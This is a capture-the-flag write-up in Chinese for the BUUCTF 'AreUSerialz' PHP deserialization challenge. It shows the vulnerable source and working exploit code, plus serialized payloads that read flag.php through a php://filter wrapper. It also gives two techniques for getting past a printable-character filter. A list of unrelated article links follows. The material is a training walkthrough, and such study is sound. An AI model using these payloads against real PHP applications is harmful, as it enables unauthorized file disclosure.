【BUUCTF】AreUSerialz (反序列化)

题目来源

收录于:BUUCTF  网鼎杯 2020 青龙组

题目描述

根据PHP代码进行反序列化

<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
} public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
} private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
} private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
} private function output($s) {
echo "[Result]: <br>";
echo $s;
} function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
} } function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
} if(isset($_GET{'str'})) { $str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
} }

题解

此题解题思路较为清晰,反序列化时依次调用的函数为:

__destruct()  ==>  process() ==>  read()

read()中的file_get_contents()中得到我们要读的文件。

这里直接给出构造的类

<?php

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
$s = urlencode(serialize($o));
echo $s;

这里由于存在不可打印的字符,且不可随意丢弃,因此我们需要对序列化后的字符串进行URL编码。编码后得到$s的值为

O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A5%3A%22%00%2A%00op%22%3BN%3Bs%3A11%3A%22%00%2A%00filename%22%3BN%3Bs%3A10%3A%22%00%2A%00content%22%3BN%3B%7D

对于一般的题目,到这里就能得到flag了,但是该题目中还有函数is_valid(),用于检测传递的字符串中是否有不可打印的字符。

由于类中有protected的属性,因此我们序列化后的字符串中会有不可打印字符%00,这道题的难点就在这里。

这里有两种方式可以进行绕过

方式一

当PHP版本 >= 7.2 时,反序列化对访问类别不敏感。

即可以直接将protected改为public,即可避免出现不可打印的字符,同时可以成功反序列化。

<?php

class FileHandler {

    public $op;
public $filename;
public $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
echo(urlencode(serialize($o)));

传入打印的字符串即可得到base64编码的flag

方式二

此方法并不改变变量的保护类型。

当我们向浏览器传递%00时,浏览器会对其进行URL解码,解析为ascii值为0的单个字符。

当我们向浏览器传递\00时,浏览器不会将其解析为单个字符。

下面用代码进行验证:

<?php

function is_valid($s) {
echo "str_length="; //输出字符串长度
echo strlen($s);
echo "<br>ASCII(str): ";
for($i = 0; $i < strlen($s); $i++){
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
echo "invalid!!!";
return false;
}
echo ord($s[$i]); //输出每个字符的ASCII
echo " ";
}
return true;
} $str = (string)$_GET['str'];
is_valid($str); ?>

因此我们将%00替换为\00,就可以绕开ord()的判断。但是这样一来,反序列化时\00将无法正确解析为单个字符。

我们知道序列化后的字符串中,用 s 表示字符串,用 i 表示整数。此外, S 用于表示十六进制的字符串。

于是,将表示字符串的 s 替换为表示十六进制字符的 S,即可完成绕过。

<?php

class FileHandler {

    protected $op;
protected $filename;
protected $content; function __construct() {
$this->op = 2;
$this->filename = "php://filter/convert.base64-encode/resource=flag.php";
$this->content = "Hello World!"; //$content的值随意 }
} $o = new FileHandler();
$s = urlencode(serialize($o));
$s = str_replace('%00','\00',$s);
echo $s;

将红框内的小写 s 替换为大写 S,得到的payload为

O%3A11%3A%22FileHandler%22%3A3%3A%7BS%3A5%3A%22\00%2A\00op%22%3Bi%3A2%3BS%3A11%3A%22\00%2A\00filename%22%3Bs%3A52%3A%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dflag.php%22%3BS%3A10%3A%22\00%2A\00content%22%3Bs%3A12%3A%22Hello+World%21%22%3B%7D

总结

当遇到不可打印字符被过滤时,有两种方法:

  • PHP版本>=7.2时,可将protected直接修改为public

  • 将序列化后的字符串中的%00修改为\00,并将保护类型为protected的变量的变量类型由s改为S

【BUUCTF】AreUSerialz的更多相关文章

  1. 【BUUCTF】强网杯 2019随便注1 write up

    输入万能密码1' or 1=1# ,判断存在sql注入, SQL注入的万能密码实际上是利用了网址后台的漏洞,打开下面的网址不用密码和账号也可以登录后台. 万能密码原理: 万能密码能够绕过sql检测,在 ...

  2. 【BUUCTF】ACTF2020 新生赛Include1 write up

    查看源代码+抓包都没有发现什么信息,只有这两个东东 <meta charset="utf8"> Can you find out the flag? <meta ...

  3. Python高手之路【六】python基础之字符串格式化

    Python的字符串格式化有两种方式: 百分号方式.format方式 百分号的方式相对来说比较老,而format方式则是比较先进的方式,企图替换古老的方式,目前两者并存.[PEP-3101] This ...

  4. 【原】谈谈对Objective-C中代理模式的误解

    [原]谈谈对Objective-C中代理模式的误解 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 这篇文章主要是对代理模式和委托模式进行了对比,个人认为Objective ...

  5. 【原】FMDB源码阅读(三)

    [原]FMDB源码阅读(三) 本文转载请注明出处 —— polobymulberry-博客园 1. 前言 FMDB比较优秀的地方就在于对多线程的处理.所以这一篇主要是研究FMDB的多线程处理的实现.而 ...

  6. 【原】Android热更新开源项目Tinker源码解析系列之一:Dex热更新

    [原]Android热更新开源项目Tinker源码解析系列之一:Dex热更新 Tinker是微信的第一个开源项目,主要用于安卓应用bug的热修复和功能的迭代. Tinker github地址:http ...

  7. 【调侃】IOC前世今生

    前些天,参与了公司内部小组的一次技术交流,主要是针对<IOC与AOP>,本着学而时习之的态度及积极分享的精神,我就结合一个小故事来初浅地剖析一下我眼中的“IOC前世今生”,以方便初学者能更 ...

  8. Python高手之路【三】python基础之函数

    基本数据类型补充: set 是一个无序且不重复的元素集合 class set(object): """ set() -> new empty set object ...

  9. Python高手之路【一】初识python

    Python简介 1:Python的创始人 Python (英国发音:/ˈpaɪθən/ 美国发音:/ˈpaɪθɑːn/), 是一种解释型.面向对象.动态数据类型的高级程序设计语言,由荷兰人Guido ...

  10. 【开源】简单4步搞定QQ登录,无需什么代码功底【无语言界限】

    说17号发超简单的教程就17号,qq核审通过后就封装了这个,现在放出来~~ 这个是我封装的一个开源项目:https://github.com/dunitian/LoTQQLogin ————————— ...

随机推荐

  1. 在PlatformIO IDE中对ESP32的CPU主频等进行配置

    前言 rt,有一天开发中需要尽可能发挥ESP32的全部性能,提高主频自然是首选,在Arduino IDE中修改主频很方便,但在PlatformIO IDE中修改主频的方法网上说的却很少,今天就总结一下 ...

  2. 还在为入门鸿蒙效率慢而困惑?不妨试试开发学习神器 - AI辅助编程

    鸿蒙应用开发从入门到入行 鸿蒙开发神器 - AI辅助编程 CodeGenie介绍 目前有好几款AI插件可以装到DevEco上,出名的例如Copilot.通义灵码等.但是经过猫林老师截至到目前的测试.都 ...

  3. 在 ASP.NET Core 2.1 之后与 HttpClient 工厂一起使用 Polly

    在 ASP.NET Core 2.1 之后与 HttpClient 工厂一起使用 Polly 在 ASP.NET Core 2.1 中提供的 HttpClient factory 提供了一种预配置 H ...

  4. zz 为什么我更喜欢 Python 的 Storm ORM

    为什么我更喜欢 Python 的 Storm ORM - @emacsway 的博客 很有意思的讨论.可能还是 mapping 比较实用. 另外,文中称赞有加的 Identity Map 并不适合并发 ...

  5. 一打开终端就默认进入conda的base环境,取消方法

    conda版本:4.10.3 安装conda之后,在使用VSCode的时候,每次在里面使用powershell终端都是默认进入base环境,稍不注意就会用错python解释器,所以考虑取消这一设置.经 ...

  6. NET6使用AutoFac依赖注入(仓储模式)

    第一次使用autofac,然后net6最新长期支持的,就想着在net6的基础上使用autofac,我对依赖注入理解很差,一知半解的搞了好久.好在有了一点点的头绪,记录下省的以后忘记(突然发现自己以前用 ...

  7. C#中工作线程处理完数据后将处理结果返回给UI主线程通知主线程操作界面

    using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.T ...

  8. Redis源码历史版本下载地址和Redis的Windows版本服务端/客户端下载地址

    Redis源码历史版本下载地址:http://download.redis.io/releases/ Redis的Windows版本服务端/客户端下载地址:https://github.com/mic ...

  9. 使用Matlab进行图像分类

    Classify images Instructions are in the task pane to the left. Complete and submit each task one at ...

  10. 使用 SK Plugin 给 LLM 添加能力

    前几篇我们介绍了如何使用 SK + ollama 跟 LLM 进行基本的对话.如果只是对话的话其实不用什么 SK 也是可以的.今天让我们给 LLM 整点活,让它真的给我们干点啥. What is Pl ...